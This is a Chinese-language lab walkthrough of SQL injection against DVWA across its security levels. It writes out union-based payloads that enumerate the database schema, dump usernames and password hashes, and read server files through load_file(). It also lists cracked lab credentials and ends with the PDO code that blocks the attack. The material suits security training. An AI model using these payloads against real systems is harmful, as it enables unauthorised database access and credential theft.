赞
踩
目录
1.找到注入点;
2.通过回显找到闭合方式;
3.使用order by判断列数;
4.使用union select判断显示位;
5.使用union select爆出数据库名和版本号;
6.已知数据库名后使用union select爆出表名和列名;
7.最后爆出列名内所需信息,如user和password;
8.此外还可使用union select来读取文件。
1.输入1‘发现有如下闭合报错,则判断存在注入点,
2.输入1''后出现回显,说明闭合为单引号'
3. 判断列数,输入至1' order by 3#时出现报错,说明列数为2,
4. 使用如下语句判断显示位
1' union select 1,2#
5.输入如下语句爆出数据库名和版本号,
1' union select version(),database()#
6.已知数据库名后使用如下三种语句爆出表名,第三种内的0x64767761为dvwa的ASCII码,可以看到回显有两个表,
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#
7.同样使用三种方式爆出列名, name的ASCII码为0x7573657273,user以及password为我们需要的内容,
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761#
8.若提交后出现报错为“Illegal mix of collations for operation UNION”,原因是UNION两端的排序规则不同,我们打开phpstudy,在软件管理中找到叫phpMyAdmin的一个mysql管理工具并安装,点击“管理”打开,
9.登录时用户名密码为自己数据库的用户名和密码,找到dvwa的 数据库,到操作页面,拖至最下方将排序规则改为utf8_general_ci,点击“执行”,修改成功后排序规则问题就可解决,再次输入语句后不会报错,
10.我们知道需要的内容为user和password,输入如下语句,会爆出user和password的内容,但password为加密模式,我们可以在网页中对其进行解密,解密后user和password对应为:admin,password,gordonb,abc123,1337,charley,pablo,letmein,smithy,password
1' union select group_concat(user),group_concat(password) from users#
11.还可以使用如下语句来读取文件,在过程中出现了未显示文件内容的问题,查询后得知是权限不够,load_file()函数以及load data等语句都需要用户具有file权限,
1' union select 1,load_file('文件绝对路径')#
12.解决办法是修改数据库文件来阻止对MySQL的导入进行限制,在phpstudy文件中找到my.ini文件,
13. 在文中添加语句secure_file_priv='',还可以增加sql服务器和客户端传送数据包大小的最大值,
14.修改完成后重启mysql,再重新输入读取文件语句,发现文件内容可以成功显示,
15.再到数据库内查询该权限,发现不为NULL,
1.对比源代码可以发现medium级别添加了mysql_real_escape_string函数来对特殊字符进行转义,还使用了下拉列表来限制输入,
2.使用burp suite工具进行抓包,拦截到的数据如下,
3. 添加“ ' ”或者“ '' ”发现都会报错,说明输入的是数值,
4.直接添加or 1=1尝试,得到所有用户,
5. 找到了闭合方式,那么就可以开始进行注入了,首先判断列数,依旧发现在增加到三时出现报错,因此列数为二,
id=1 order by 3
6.判断显示位,
id=1 union select 1,2
7.爆出数据库名和版本号,
id=1 union select version(),database()
8.爆出表名,
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
9.爆出列名,
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761
10.爆出user和password,
id=1 union select user,password from users
1.发现high级别的输入在一个独立的窗口中,从链接进入,
2. 输入1'发现页面报错,输入1''时有回显,因此判断闭合方式为“ ' ”,并且没有进行转义字符处理,
3. 那么我们继续开始第一步,判断列数,得到列数为2,
4.判断显示位 ,
5.爆出数据库名和版本号,
6.爆出表名,
7.爆出列名,
8.爆出user和password,
查看impossible级别的源代码,发现使用了PDO技术来杜绝sql注入,
- <?php
-
- if( isset( $_GET[ 'Submit' ] ) ) {
- // Check Anti-CSRF token
- checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
-
- // Get input
- $id = $_GET[ 'id' ];
-
- // Was a number entered?
- if(is_numeric( $id )) {
- $id = intval ($id);
- switch ($_DVWA['SQLI_DB']) {
- case MYSQL:
- // Check the database
- $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
- $data->bindParam( ':id', $id, PDO::PARAM_INT );
- $data->execute();
- $row = $data->fetch();
-
- // Make sure only 1 result is returned
- if( $data->rowCount() == 1 ) {
- // Get values
- $first = $row[ 'first_name' ];
- $last = $row[ 'last_name' ];
-
- // Feedback for end user
- echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
- }
- break;
- case SQLITE:
- global $sqlite_db_connection;
-
- $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
- $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
- $result = $stmt->execute();
- $result->finalize();
- if ($result !== false) {
- // There is no way to get the number of rows returned
- // This checks the number of columns (not rows) just
- // as a precaution, but it won't stop someone dumping
- // multiple rows and viewing them one at a time.
-
- $num_columns = $result->numColumns();
- if ($num_columns == 2) {
- $row = $result->fetchArray();
-
- // Get values
- $first = $row[ 'first_name' ];
- $last = $row[ 'last_name' ];
-
- // Feedback for end user
- echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
- }
- }
-
- break;
- }
- }
- }
-
- // Generate Anti-CSRF token
- generateSessionToken();
-
- ?>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。